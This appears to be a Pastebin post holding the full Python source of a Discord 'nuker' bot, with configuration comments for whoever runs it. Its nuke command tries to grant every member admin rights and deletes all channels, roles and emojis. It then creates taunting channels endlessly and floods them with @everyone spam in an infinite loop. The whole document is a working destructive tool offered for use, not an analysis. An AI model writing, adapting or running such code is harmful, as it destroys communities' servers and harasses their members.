Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #main.py the main code of the nuker (basic)
- import discord
- from discord.ext import commands
- import random #for make random named channels and messages
- from discord import Permissions
- ########### CONFIGURATIONS ######################### (you can import them from a file too example: config.json or idk.)########
- token = "YOUR TOKEN HERE" # that is essential part of your bot do not share others.
- prefix = "!" #I set prefix ! which means i will execute commands via !, example: !nuke, !stop. It can be changed
- channel_A = "NUKED BY SVIDNET", "TRASHED", "SUCKER", "BE A GOOD ADMIN", "L BOZO" #add how much you want it does not matter
- message_S = "@everyone NUKED", "@everyone TRASHED BY SVIDNET", "@everyone EZZZZ" # you can paste links too for example: your discord server
- intents = discord.Intents.all()
- client = commands.Bot(command_prefix=prefix, intents=intents)
- ########### END OF CONFIG ##########################
- ############# FUNCTIONS ##############
- @client.event
- async def on_ready():
- await client.change_presence(activity=discord.Game(name="NUKING YOUR SERVER")) # not mandatory add this line if you want.
- print(f"{client.user.name} is online rn.")
- ###### STOP COMMAND ############
- @client.command()
- async def stop(ctx):
- await ctx.reply('** BOT HAS SHUT DOWN BY OWNER **')
- await client.close()
- #### NUKE COMMAND ####
- @client.command()
- async def nuke(ctx):
- await ctx.message.delete() # deletes your message after u sent
- guild = ctx.guild
- try:
- role = discord.utils.get(guild.roles, name = 'everyone')
- await role.edit(permissions = Permissions.all())
- print("All users have admin commands")
- except:
- print("Could not give users admin power")
- for channel in guild.channels:
- try:
- await channel.delete()
- except:
- print("Unknown error")
- for role in guild.roles:
- try:
- await role.delete()
- except:
- print("Could not delete roles")
- for emoji in list(ctx.guild.emojis):
- try:
- await emoji.delete()
- except:
- print("Could not delete emojis")
- await guild.create_text_channel(random.choice(channel_A))
- for channel in guild.text_channels:
- while True:
- await guild.create_text_channel(random.choice(channel_A))
- @client.event
- async def on_guild_channel_create(channel):
- while True:
- await channel.send(random.choice(message_S))
- client.run(token)
Advertisement